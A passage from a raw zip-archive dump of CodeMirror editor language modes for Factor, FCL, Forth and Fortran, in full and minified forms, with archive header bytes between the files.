      {regex: /"""/, token: "string", next:
"string3"},
      {regex: /(STRING:)(\s)/, token: ["keyword", null], next:
"string2"},
      {regex: /\S*?"/, token: "string", next:
"string"},
      // numbers: dec, hex, unicode, bin, fractional, complex
      {regex:
/(?:0x[\d,a-f]+)|(?:0o[0-7]+)|(?:0b[0,1]+)|(?:\-?\d+.?\d*)(?=\s)/, token:
"number"},
      //{regex: /[+-]?/} //fractional
      // definition: defining word, defined word, etc
      {regex: /((?:GENERIC)|\:?\:)(\s+)(\S+)(\s+)(\()/, token:
["keyword", null, "def", null, "bracket"],
next: "stack"},
      // method definition: defining word, type, defined word, etc
      {regex: /(M\:)(\s+)(\S+)(\s+)(\S+)/, token: ["keyword",
null, "def", null, "tag"]},
      // vocabulary using --> state
      {regex: /USING\:/, token: "keyword", next:
"vocabulary"},
      // vocabulary definition/use
      {regex: /(USE\:|IN\:)(\s+)(\S+)(?=\s|$)/, token:
["keyword", null, "tag"]},
      // definition: a defining word, defined word
      {regex: /(\S+\:)(\s+)(\S+)(?=\s|$)/, token: ["keyword",
null, "def"]},
      // "keywords", incl. ; t f . [ ] { } defining words
      {regex:
/(?:;|\\|t|f|if|loop|while|until|do|PRIVATE>|<PRIVATE|\.|\S*\[|\]|\S*\{|\})(?=\s|$)/,
token: "keyword"},
      // <constructors> and the like
      {regex: /\S+[\)>\.\*\?]+(?=\s|$)/, token: "builtin"},
      {regex: /[\)><]+\S+(?=\s|$)/, token: "builtin"},
      // operators
      {regex: /(?:[\+\-\=\/\*<>])(?=\s|$)/, token:
"keyword"},
      // any id (?)
      {regex: /\S+/, token: "variable"},
      {regex: /\s+|./, token: null}
    ],
    vocabulary: [
      {regex: /;/, token: "keyword", next: "start"},
      {regex: /\S+/, token: "tag"},
      {regex: /\s+|./, token: null}
    ],
    string: [
      {regex: /(?:[^\\]|\\.)*?"/, token: "string", next:
"start"},
      {regex: /.*/, token: "string"}
    ],
    string2: [
      {regex: /^;/, token: "keyword", next: "start"},
      {regex: /.*/, token: "string"}
    ],
    string3: [
      {regex: /(?:[^\\]|\\.)*?"""/, token:
"string", next: "start"},
      {regex: /.*/, token: "string"}
    ],
    stack: [
      {regex: /\)/, token: "bracket", next: "start"},
      {regex: /--/, token: "bracket"},
      {regex: /\S+/, token: "meta"},
      {regex: /\s+|./, token: null}
    ],
    // The meta property contains global information about the mode. It
    // can contain properties like lineComment, which are supported by
    // all modes, and also directives like dontIndentStates, which are
    // specific to simple modes.
    meta: {
      dontIndentStates: ["start", "vocabulary",
"string", "string3", "stack"],
      lineComment: [ "!", "#!" ]
    }
  });

  CodeMirror.defineMIME("text/x-factor", "factor");
});
PKE��[%��?||$codemirror/mode/factor/factor.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/simple")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/simple"],a):a(CodeMirror)})((function(a){"use
strict";a.defineSimpleMode("factor",{start:[{regex:/#?!.*/,token:"comment"},{regex:/"""/,token:"string",next:"string3"},{regex:/(STRING:)(\s)/,token:["keyword",null],next:"string2"},{regex:/\S*?"/,token:"string",next:"string"},{regex:/(?:0x[\d,a-f]+)|(?:0o[0-7]+)|(?:0b[0,1]+)|(?:\-?\d+.?\d*)(?=\s)/,token:"number"},{regex:/((?:GENERIC)|\:?\:)(\s+)(\S+)(\s+)(\()/,token:["keyword",null,"def",null,"bracket"],next:"stack"},{regex:/(M\:)(\s+)(\S+)(\s+)(\S+)/,token:["keyword",null,"def",null,"tag"]},{regex:/USING\:/,token:"keyword",next:"vocabulary"},{regex:/(USE\:|IN\:)(\s+)(\S+)(?=\s|$)/,token:["keyword",null,"tag"]},{regex:/(\S+\:)(\s+)(\S+)(?=\s|$)/,token:["keyword",null,"def"]},{regex:/(?:;|\\|t|f|if|loop|while|until|do|PRIVATE>|<PRIVATE|\.|\S*\[|\]|\S*\{|\})(?=\s|$)/,token:"keyword"},{regex:/\S+[\)>\.\*\?]+(?=\s|$)/,token:"builtin"},{regex:/[\)><]+\S+(?=\s|$)/,token:"builtin"},{regex:/(?:[\+\-\=\/\*<>])(?=\s|$)/,token:"keyword"},{regex:/\S+/,token:"variable"},{regex:/\s+|./,token:null}],vocabulary:[{regex:/;/,token:"keyword",next:"start"},{regex:/\S+/,token:"tag"},{regex:/\s+|./,token:null}],string:[{regex:/(?:[^\\]|\\.)*?"/,token:"string",next:"start"},{regex:/.*/,token:"string"}],string2:[{regex:/^;/,token:"keyword",next:"start"},{regex:/.*/,token:"string"}],string3:[{regex:/(?:[^\\]|\\.)*?"""/,token:"string",next:"start"},{regex:/.*/,token:"string"}],stack:[{regex:/\)/,token:"bracket",next:"start"},{regex:/--/,token:"bracket"},{regex:/\S+/,token:"meta"},{regex:/\s+|./,token:null}],meta:{dontIndentStates:["start","vocabulary","string","string3","stack"],lineComment:["!","#!"]}}),a.defineMIME("text/x-factor","factor")}));PKE��[}H�y``codemirror/mode/fcl/fcl.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("fcl", function(config) {
  var indentUnit = config.indentUnit;

  var keywords = {
      "term": true,
      "method": true, "accu": true,
      "rule": true, "then": true, "is": true,
"and": true, "or": true,
      "if": true, "default": true
  };

  var start_blocks = {
      "var_input": true,
      "var_output": true,
      "fuzzify": true,
      "defuzzify": true,
      "function_block": true,
      "ruleblock": true
  };

  var end_blocks = {
      "end_ruleblock": true,
      "end_defuzzify": true,
      "end_function_block": true,
      "end_fuzzify": true,
      "end_var": true
  };

  var atoms = {
      "true": true, "false": true, "nan":
true,
      "real": true, "min": true, "max": true,
"cog": true, "cogs": true
  };

  var isOperatorChar = /[+\-*&^%:=<>!|\/]/;

  function tokenBase(stream, state) {
    var ch = stream.next();

    if (/[\d\.]/.test(ch)) {
      if (ch == ".") {
        stream.match(/^[0-9]+([eE][\-+]?[0-9]+)?/);
      } else if (ch == "0") {
        stream.match(/^[xX][0-9a-fA-F]+/) || stream.match(/^0[0-7]+/);
      } else {
        stream.match(/^[0-9]*\.?[0-9]*([eE][\-+]?[0-9]+)?/);
      }
      return "number";
    }

    if (ch == "/" || ch == "(") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
    }
    if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    stream.eatWhile(/[\w\$_\xa1-\uffff]/);

    var cur = stream.current().toLowerCase();
    if (keywords.propertyIsEnumerable(cur) ||
        start_blocks.propertyIsEnumerable(cur) ||
        end_blocks.propertyIsEnumerable(cur)) {
      return "keyword";
    }
    if (atoms.propertyIsEnumerable(cur)) return "atom";
    return "variable";
  }


  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if ((ch == "/" || ch == ")") && maybeEnd)
{
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function Context(indented, column, type, align, prev) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.align = align;
    this.prev = prev;
  }

  function pushContext(state, col, type) {
    return state.context = new Context(state.indented, col, type, null,
state.context);
  }

  function popContext(state) {
    if (!state.context.prev) return;
    var t = state.context.type;
    if (t == "end_block")
      state.indented = state.context.indented;
    return state.context = state.context.prev;
  }

  // Interface

  return {
    startState: function(basecolumn) {
      return {
        tokenize: null,
        context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
        indented: 0,
        startOfLine: true
      };
    },

    token: function(stream, state) {
        var ctx = state.context;
        if (stream.sol()) {
            if (ctx.align == null) ctx.align = false;
            state.indented = stream.indentation();
            state.startOfLine = true;
        }
        if (stream.eatSpace()) return null;

        var style = (state.tokenize || tokenBase)(stream, state);
        if (style == "comment") return style;
        if (ctx.align == null) ctx.align = true;

        var cur = stream.current().toLowerCase();

        if (start_blocks.propertyIsEnumerable(cur)) pushContext(state,
stream.column(), "end_block");
        else if (end_blocks.propertyIsEnumerable(cur))  popContext(state);

        state.startOfLine = false;
        return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase && state.tokenize != null)
return 0;
      var ctx = state.context;

      var closing = end_blocks.propertyIsEnumerable(textAfter);
      if (ctx.align) return ctx.column + (closing ? 0 : 1);
      else return ctx.indented + (closing ? 0 : indentUnit);
    },

    electricChars: "ryk",
    fold: "brace",
    blockCommentStart: "(*",
    blockCommentEnd: "*)",
    lineComment: "//"
  };
});

CodeMirror.defineMIME("text/x-fcl", "fcl");
});
PKE��[�}z5	5	codemirror/mode/fcl/fcl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("fcl",(function(a){function b(a,b){var
d=a.next();if(/[\d\.]/.test(d))return"."==d?a.match(/^[0-9]+([eE][\-+]?[0-9]+)?/):"0"==d?a.match(/^[xX][0-9a-fA-F]+/)||a.match(/^0[0-7]+/):a.match(/^[0-9]*\.?[0-9]*([eE][\-+]?[0-9]+)?/),"number";if("/"==d||"("==d){if(a.eat("*"))return
b.tokenize=c,c(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment"}if(l.test(d))return
a.eatWhile(l),"operator";a.eatWhile(/[\w\$_\xa1-\uffff]/);var
e=a.current().toLowerCase();return
h.propertyIsEnumerable(e)||i.propertyIsEnumerable(e)||j.propertyIsEnumerable(e)?"keyword":k.propertyIsEnumerable(e)?"atom":"variable"}function
c(a,c){for(var
d,e=!1;d=a.next();){if(("/"==d||")"==d)&&e){c.tokenize=b;break}e="*"==d}return"comment"}function
d(a,b,c,d,e){this.indented=a,this.column=b,this.type=c,this.align=d,this.prev=e}function
e(a,b,c){return a.context=new d(a.indented,b,c,null,a.context)}function
f(a){if(a.context.prev){return"end_block"==a.context.type&&(a.indented=a.context.indented),a.context=a.context.prev}}var
g=a.indentUnit,h={term:!0,method:!0,accu:!0,rule:!0,then:!0,is:!0,and:!0,or:!0,if:!0,default:!0},i={var_input:!0,var_output:!0,fuzzify:!0,defuzzify:!0,function_block:!0,ruleblock:!0},j={end_ruleblock:!0,end_defuzzify:!0,end_function_block:!0,end_fuzzify:!0,end_var:!0},k={true:!0,false:!0,nan:!0,real:!0,min:!0,max:!0,cog:!0,cogs:!0},l=/[+\-*&^%:=<>!|\/]/;return{startState:function(a){return{tokenize:null,context:new
d((a||0)-g,0,"top",!1),indented:0,startOfLine:!0}},token:function(a,c){var
d=c.context;if(a.sol()&&(null==d.align&&(d.align=!1),c.indented=a.indentation(),c.startOfLine=!0),a.eatSpace())return
null;var g=(c.tokenize||b)(a,c);if("comment"==g)return
g;null==d.align&&(d.align=!0);var
h=a.current().toLowerCase();return
i.propertyIsEnumerable(h)?e(c,a.column(),"end_block"):j.propertyIsEnumerable(h)&&f(c),c.startOfLine=!1,g},indent:function(a,c){if(a.tokenize!=b&&null!=a.tokenize)return
0;var d=a.context,e=j.propertyIsEnumerable(c);return
d.align?d.column+(e?0:1):d.indented+(e?0:g)},electricChars:"ryk",fold:"brace",blockCommentStart:"(*",blockCommentEnd:"*)",lineComment:"//"}})),a.defineMIME("text/x-fcl","fcl")}));PKE��[u
�oocodemirror/mode/forth/forth.jsnu�[���// CodeMirror,
copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Author: Aliaksei Chapyzhenka

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function toWordList(words) {
    var ret = [];
    words.split(' ').forEach(function(e){
      ret.push({name: e});
    });
    return ret;
  }

  var coreWordList = toWordList(
'INVERT AND OR XOR\
 2* 2/ LSHIFT RSHIFT\
 0= = 0< < > U< MIN MAX\
 2DROP 2DUP 2OVER 2SWAP ?DUP DEPTH DROP DUP OVER ROT SWAP\
 >R R> R@\
 + - 1+ 1- ABS NEGATE\
 S>D * M* UM*\
 FM/MOD SM/REM UM/MOD */ */MOD / /MOD MOD\
 HERE , @ ! CELL+ CELLS C, C@ C! CHARS 2@ 2!\
 ALIGN ALIGNED +! ALLOT\
 CHAR [CHAR] [ ] BL\
 FIND EXECUTE IMMEDIATE COUNT LITERAL STATE\
 ; DOES> >BODY\
 EVALUATE\
 SOURCE >IN\
 <# # #S #> HOLD SIGN BASE >NUMBER HEX DECIMAL\
 FILL MOVE\
 . CR EMIT SPACE SPACES TYPE U. .R U.R\
 ACCEPT\
 TRUE FALSE\
 <> U> 0<> 0>\
 NIP TUCK ROLL PICK\
 2>R 2R@ 2R>\
 WITHIN UNUSED MARKER\
 I J\
 TO\
 COMPILE, [COMPILE]\
 SAVE-INPUT RESTORE-INPUT\
 PAD ERASE\
 2LITERAL DNEGATE\
 D- D+ D0< D0= D2* D2/ D< D= DMAX DMIN D>S DABS\
 M+ M*/ D. D.R 2ROT DU<\
 CATCH THROW\
 FREE RESIZE ALLOCATE\
 CS-PICK CS-ROLL\
 GET-CURRENT SET-CURRENT FORTH-WORDLIST GET-ORDER SET-ORDER\
 PREVIOUS SEARCH-WORDLIST WORDLIST FIND ALSO ONLY FORTH DEFINITIONS ORDER\
 -TRAILING /STRING SEARCH COMPARE CMOVE CMOVE> BLANK SLITERAL');

  var immediateWordList = toWordList('IF ELSE THEN BEGIN WHILE REPEAT
UNTIL RECURSE [IF] [ELSE] [THEN] ?DO DO LOOP +LOOP UNLOOP LEAVE EXIT AGAIN
CASE OF ENDOF ENDCASE');

  CodeMirror.defineMode('forth', function() {
    function searchWordList (wordList, word) {
      var i;
      for (i = wordList.length - 1; i >= 0; i--) {
        if (wordList[i].name === word.toUpperCase()) {
          return wordList[i];
        }
      }
      return undefined;
    }
  return {
    startState: function() {
      return {
        state: '',
        base: 10,
        coreWordList: coreWordList,
        immediateWordList: immediateWordList,
        wordList: []
      };
    },
    token: function (stream, stt) {
      var mat;
      if (stream.eatSpace()) {
        return null;
      }
      if (stt.state === '') { // interpretation
        if (stream.match(/^(\]|:NONAME)(\s|$)/i)) {
          stt.state = ' compilation';
          return 'builtin compilation';
        }
        mat = stream.match(/^(\:)\s+(\S+)(\s|$)+/);
        if (mat) {
          stt.wordList.push({name: mat[2].toUpperCase()});
          stt.state = ' compilation';
          return 'def' + stt.state;
        }
        mat =
stream.match(/^(VARIABLE|2VARIABLE|CONSTANT|2CONSTANT|CREATE|POSTPONE|VALUE|WORD)\s+(\S+)(\s|$)+/i);
        if (mat) {
          stt.wordList.push({name: mat[2].toUpperCase()});
          return 'def' + stt.state;
        }
        mat = stream.match(/^(\'|\[\'\])\s+(\S+)(\s|$)+/);
        if (mat) {
          return 'builtin' + stt.state;
        }
        } else { // compilation
        // ; [
        if (stream.match(/^(\;|\[)(\s)/)) {
          stt.state = '';
          stream.backUp(1);
          return 'builtin compilation';
        }
        if (stream.match(/^(\;|\[)($)/)) {
          stt.state = '';
          return 'builtin compilation';
        }
        if (stream.match(/^(POSTPONE)\s+\S+(\s|$)+/)) {
          return 'builtin';
        }
      }

      // dynamic wordlist
      mat = stream.match(/^(\S+)(\s+|$)/);
      if (mat) {
        if (searchWordList(stt.wordList, mat[1]) !== undefined) {
          return 'variable' + stt.state;
        }

        // comments
        if (mat[1] === '\\') {
          stream.skipToEnd();
            return 'comment' + stt.state;
          }

          // core words
          if (searchWordList(stt.coreWordList, mat[1]) !== undefined) {
            return 'builtin' + stt.state;
          }
          if (searchWordList(stt.immediateWordList, mat[1]) !== undefined)
{
            return 'keyword' + stt.state;
          }

          if (mat[1] === '(') {
            stream.eatWhile(function (s) { return s !== ')'; });
            stream.eat(')');
            return 'comment' + stt.state;
          }

          // // strings
          if (mat[1] === '.(') {
            stream.eatWhile(function (s) { return s !== ')'; });
            stream.eat(')');
            return 'string' + stt.state;
          }
          if (mat[1] === 'S"' || mat[1] ===
'."' || mat[1] === 'C"') {
            stream.eatWhile(function (s) { return s !== '"';
});
            stream.eat('"');
            return 'string' + stt.state;
          }

          // numbers
          if (mat[1] - 0xfffffffff) {
            return 'number' + stt.state;
          }
          // if (mat[1].match(/^[-+]?[0-9]+\.[0-9]*/)) {
          //     return 'number' + stt.state;
          // }

          return 'atom' + stt.state;
        }
      }
    };
  });
  CodeMirror.defineMIME("text/x-forth", "forth");
});
PKE��[qn�avv"codemirror/mode/forth/forth.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){var b=[];return a.split("
").forEach((function(a){b.push({name:a})})),b}var c=b("INVERT AND
OR XOR 2* 2/ LSHIFT RSHIFT 0= = 0< < > U< MIN MAX 2DROP 2DUP
2OVER 2SWAP ?DUP DEPTH DROP DUP OVER ROT SWAP >R R> R@ + - 1+ 1- ABS
NEGATE S>D * M* UM* FM/MOD SM/REM UM/MOD */ */MOD / /MOD MOD HERE , @ !
CELL+ CELLS C, C@ C! CHARS 2@ 2! ALIGN ALIGNED +! ALLOT CHAR [CHAR] [ ] BL
FIND EXECUTE IMMEDIATE COUNT LITERAL STATE ; DOES> >BODY EVALUATE
SOURCE >IN <# # #S #> HOLD SIGN BASE >NUMBER HEX DECIMAL FILL
MOVE . CR EMIT SPACE SPACES TYPE U. .R U.R ACCEPT TRUE FALSE <> U>
0<> 0> NIP TUCK ROLL PICK 2>R 2R@ 2R> WITHIN UNUSED MARKER I
J TO COMPILE, [COMPILE] SAVE-INPUT RESTORE-INPUT PAD ERASE 2LITERAL DNEGATE
D- D+ D0< D0= D2* D2/ D< D= DMAX DMIN D>S DABS M+ M*/ D. D.R 2ROT
DU< CATCH THROW FREE RESIZE ALLOCATE CS-PICK CS-ROLL GET-CURRENT
SET-CURRENT FORTH-WORDLIST GET-ORDER SET-ORDER PREVIOUS SEARCH-WORDLIST
WORDLIST FIND ALSO ONLY FORTH DEFINITIONS ORDER -TRAILING /STRING SEARCH
COMPARE CMOVE CMOVE> BLANK SLITERAL"),d=b("IF ELSE THEN BEGIN
WHILE REPEAT UNTIL RECURSE [IF] [ELSE] [THEN] ?DO DO LOOP +LOOP UNLOOP
LEAVE EXIT AGAIN CASE OF ENDOF
ENDCASE");a.defineMode("forth",(function(){function
a(a,b){var
c;for(c=a.length-1;c>=0;c--)if(a[c].name===b.toUpperCase())return
a[c]}return{startState:function(){return{state:"",base:10,coreWordList:c,immediateWordList:d,wordList:[]}},token:function(b,c){var
d;if(b.eatSpace())return
null;if(""===c.state){if(b.match(/^(\]|:NONAME)(\s|$)/i))return
c.state=" compilation","builtin
compilation";if(d=b.match(/^(\:)\s+(\S+)(\s|$)+/))return
c.wordList.push({name:d[2].toUpperCase()}),c.state="
compilation","def"+c.state;if(d=b.match(/^(VARIABLE|2VARIABLE|CONSTANT|2CONSTANT|CREATE|POSTPONE|VALUE|WORD)\s+(\S+)(\s|$)+/i))return
c.wordList.push({name:d[2].toUpperCase()}),"def"+c.state;if(d=b.match(/^(\'|\[\'\])\s+(\S+)(\s|$)+/))return"builtin"+c.state}else{if(b.match(/^(\;|\[)(\s)/))return
c.state="",b.backUp(1),"builtin
compilation";if(b.match(/^(\;|\[)($)/))return
c.state="","builtin
compilation";if(b.match(/^(POSTPONE)\s+\S+(\s|$)+/))return"builtin"}return
d=b.match(/^(\S+)(\s+|$)/),d?void
0!==a(c.wordList,d[1])?"variable"+c.state:"\\"===d[1]?(b.skipToEnd(),"comment"+c.state):void
0!==a(c.coreWordList,d[1])?"builtin"+c.state:void
0!==a(c.immediateWordList,d[1])?"keyword"+c.state:"("===d[1]?(b.eatWhile((function(a){return")"!==a})),b.eat(")"),"comment"+c.state):".("===d[1]?(b.eatWhile((function(a){return")"!==a})),b.eat(")"),"string"+c.state):'S"'===d[1]||'."'===d[1]||'C"'===d[1]?(b.eatWhile((function(a){return'"'!==a})),b.eat('"'),"string"+c.state):d[1]-68719476735?"number"+c.state:"atom"+c.state:void
0}}})),a.defineMIME("text/x-forth","forth")}));PKE��[��l�!�!"codemirror/mode/fortran/fortran.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("fortran", function() {
  function words(array) {
    var keys = {};
    for (var i = 0; i < array.length; ++i) {
      keys[array[i]] = true;
    }
    return keys;
  }

  var keywords = words([
                  "abstract", "accept",
"allocatable", "allocate",
                  "array", "assign",
"asynchronous", "backspace",
                  "bind", "block", "byte",
"call", "case",
                  "class", "close", "common",
"contains",
                  "continue", "cycle",
"data", "deallocate",
                  "decode", "deferred",
"dimension", "do",
                  "elemental", "else",
"encode", "end",
                  "endif", "entry",
"enumerator", "equivalence",
                  "exit", "external",
"extrinsic", "final",
                  "forall", "format",
"function", "generic",
                  "go", "goto", "if",
"implicit", "import", "include",
                  "inquire", "intent",
"interface", "intrinsic",
                  "module", "namelist",
"non_intrinsic",
                  "non_overridable", "none",
"nopass",
                  "nullify", "open",
"optional", "options",
                  "parameter", "pass",
"pause", "pointer",
                  "print", "private",
"program", "protected",
                  "public", "pure", "read",
"recursive", "result",
                  "return", "rewind", "save",
"select", "sequence",
                  "stop", "subroutine",
"target", "then", "to", "type",
                  "use", "value", "volatile",
"where", "while",
                  "write"]);
  var builtins = words(["abort", "abs",
"access", "achar", "acos",
                          "adjustl", "adjustr",
"aimag", "aint", "alarm",
                          "all", "allocated",
"alog", "amax", "amin",
                          "amod", "and",
"anint", "any", "asin",
                          "associated", "atan",
"besj", "besjn", "besy",
                          "besyn", "bit_size",
"btest", "cabs", "ccos",
                          "ceiling", "cexp",
"char", "chdir", "chmod",
                          "clog", "cmplx",
"command_argument_count",
                          "complex", "conjg",
"cos", "cosh", "count",
                          "cpu_time", "cshift",
"csin", "csqrt", "ctime",
                          "c_funloc", "c_loc",
"c_associated", "c_null_ptr",
                          "c_null_funptr",
"c_f_pointer", "c_null_char",
                          "c_alert", "c_backspace",
"c_form_feed",
                          "c_new_line",
"c_carriage_return",
                          "c_horizontal_tab",
"c_vertical_tab", "dabs",
                          "dacos", "dasin",
"datan", "date_and_time",
                          "dbesj", "dbesj",
"dbesjn", "dbesy", "dbesy",
                          "dbesyn", "dble",
"dcos", "dcosh", "ddim", "derf",
                          "derfc", "dexp",
"digits", "dim", "dint", "dlog",
                          "dlog", "dmax",
"dmin", "dmod", "dnint",
                          "dot_product", "dprod",
"dsign", "dsinh",
                          "dsin", "dsqrt",
"dtanh", "dtan", "dtime",
                          "eoshift", "epsilon",
"erf", "erfc", "etime",
                          "exit", "exp",
"exponent", "extends_type_of",
                          "fdate", "fget",
"fgetc", "float", "floor",
                          "flush", "fnum",
"fputc", "fput", "fraction",
                          "fseek", "fstat",
"ftell", "gerror", "getarg",
                          "get_command",
"get_command_argument",
                          "get_environment_variable",
"getcwd",
                          "getenv", "getgid",
"getlog", "getpid",
                          "getuid", "gmtime",
"hostnm", "huge", "iabs",
                          "iachar", "iand",
"iargc", "ibclr", "ibits",
                          "ibset", "ichar",
"idate", "idim", "idint",
                          "idnint", "ieor",
"ierrno", "ifix", "imag",
                          "imagpart", "index",
"int", "ior", "irand",
                          "isatty", "ishft",
"ishftc", "isign",
                          "iso_c_binding",
"is_iostat_end", "is_iostat_eor",
                          "itime", "kill",
"kind", "lbound", "len",
"len_trim",
                          "lge", "lgt",
"link", "lle", "llt", "lnblnk",
"loc",
                          "log", "logical",
"long", "lshift", "lstat", "ltime",
                          "matmul", "max",
"maxexponent", "maxloc", "maxval",
                          "mclock", "merge",
"move_alloc", "min", "minexponent",
                          "minloc", "minval",
"mod", "modulo", "mvbits",
                          "nearest", "new_line",
"nint", "not", "or", "pack",
                          "perror", "precision",
"present", "product", "radix",
                          "rand", "random_number",
"random_seed", "range",
                          "real", "realpart",
"rename", "repeat", "reshape",
                          "rrspacing", "rshift",
"same_type_as", "scale",
                          "scan", "second",
"selected_int_kind",
                          "selected_real_kind",
"set_exponent", "shape",
                          "short", "sign",
"signal", "sinh", "sin", "sleep",
                          "sngl", "spacing",
"spread", "sqrt", "srand", "stat",
                          "sum", "symlnk",
"system", "system_clock", "tan",
                          "tanh", "time",
"tiny", "transfer", "transpose",
                          "trim", "ttynam",
"ubound", "umask", "unlink",
                          "unpack", "verify",
"xor", "zabs", "zcos", "zexp",
                          "zlog", "zsin",
"zsqrt"]);

    var dataTypes =  words(["c_bool", "c_char",
"c_double", "c_double_complex",
                     "c_float", "c_float_complex",
"c_funptr", "c_int",
                     "c_int16_t", "c_int32_t",
"c_int64_t", "c_int8_t",
                     "c_int_fast16_t",
"c_int_fast32_t", "c_int_fast64_t",
                     "c_int_fast8_t",
"c_int_least16_t", "c_int_least32_t",
                     "c_int_least64_t",
"c_int_least8_t", "c_intmax_t",
                     "c_intptr_t", "c_long",
"c_long_double",
                     "c_long_double_complex",
"c_long_long", "c_ptr",
                     "c_short", "c_signed_char",
"c_size_t", "character",
                     "complex", "double",
"integer", "logical", "real"]);
  var isOperatorChar = /[+\-*&=<>\/\:]/;
  var litOperator = new
RegExp("(\.and\.|\.or\.|\.eq\.|\.lt\.|\.le\.|\.gt\.|\.ge\.|\.ne\.|\.not\.|\.eqv\.|\.neqv\.)",
"i");

  function tokenBase(stream, state) {

    if (stream.match(litOperator)){
        return 'operator';
    }

    var ch = stream.next();
    if (ch == "!") {
      stream.skipToEnd();
      return "comment";
    }
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    if (/[\[\]\(\),]/.test(ch)) {
      return null;
    }
    if (/\d/.test(ch)) {
      stream.eatWhile(/[\w\.]/);
      return "number";
    }
    if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    stream.eatWhile(/[\w\$_]/);
    var word = stream.current().toLowerCase();

    if (keywords.hasOwnProperty(word)){
            return 'keyword';
    }
    if (builtins.hasOwnProperty(word) || dataTypes.hasOwnProperty(word)) {
            return 'builtin';
    }
    return "variable";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {
            end = true;
            break;
        }
        escaped = !escaped && next == "\\";
      }
      if (end || !escaped) state.tokenize = null;
      return "string";
    };
  }

  // Interface

  return {
    startState: function() {
      return {tokenize: null};
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment" || style == "meta") return
style;
      return style;
    }
  };
});

CodeMirror.defineMIME("text/x-fortran", "fortran");

});
PKE��[<�:Z33&codemirror/mode/fortran/fortran.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("fortran",(function(){function
a(a){for(var b={},c=0;c<a.length;++c)b[a[c]]=!0;return b}function
b(a,b){if(a.match(h))return"operator";var
i=a.next();if("!"==i)return
a.skipToEnd(),"comment";if('"'==i||"'"==i)return
b.tokenize=c(i),b.tokenize(a,b);if(/[\[\]\(\),]/.test(i))return
null;if(/\d/.test(i))return
a.eatWhile(/[\w\.]/),"number";if(g.test(i))return
a.eatWhile(g),"operator";a.eatWhile(/[\w\$_]/);var
j=a.current().toLowerCase();return
d.hasOwnProperty(j)?"keyword":e.hasOwnProperty(j)||f.hasOwnProperty(j)?"builtin":"variable"}function
c(a){return function(b,c){for(var
d,e=!1,f=!1;null!=(d=b.next());){if(d==a&&!e){f=!0;break}e=!e&&"\\"==d}return!f&&e||(c.tokenize=null),"string"}}var
d=a(["abstract","accept","allocatable","allocate","array","assign","asynchronous","backspace","bind","block","byte","call","case","class","close","common","contains","continue","cycle","data","deallocate","decode","deferred","dimension","do","elemental","else","encode","end","endif","entry","enumerator","equivalence","exit","external","extrinsic","final","forall","format","function","generic","go","goto","if","implicit","import","include","inquire","intent","interface","intrinsic","module","namelist","non_intrinsic","non_overridable","none","nopass","nullify","open","optional","options","parameter","pass","pause","pointer","print","private","program","protected","public","pure","read","recursive","result","return","rewind","save","select","sequence","stop","subroutine","target","then","to","type","use","value","volatile","where","while","write"]),e=a(["abort","abs","access","achar","acos","adjustl","adjustr","aimag","aint","alarm","all","allocated","alog","amax","amin","amod","and","anint","any","asin","associated","atan","besj","besjn","besy","besyn","bit_size","btest","cabs","ccos","ceiling","cexp","char","chdir","chmod","clog","cmplx","command_argument_count","complex","conjg","cos","cosh","count","cpu_time","cshift","csin","csqrt","ctime","c_funloc","c_loc","c_associated","c_null_ptr","c_null_funptr","c_f_pointer","c_null_char","c_alert","c_backspace","c_form_feed","c_new_line","c_carriage_return","c_horizontal_tab","c_vertical_tab","dabs","dacos","dasin","datan","date_and_time","dbesj","dbesj","dbesjn","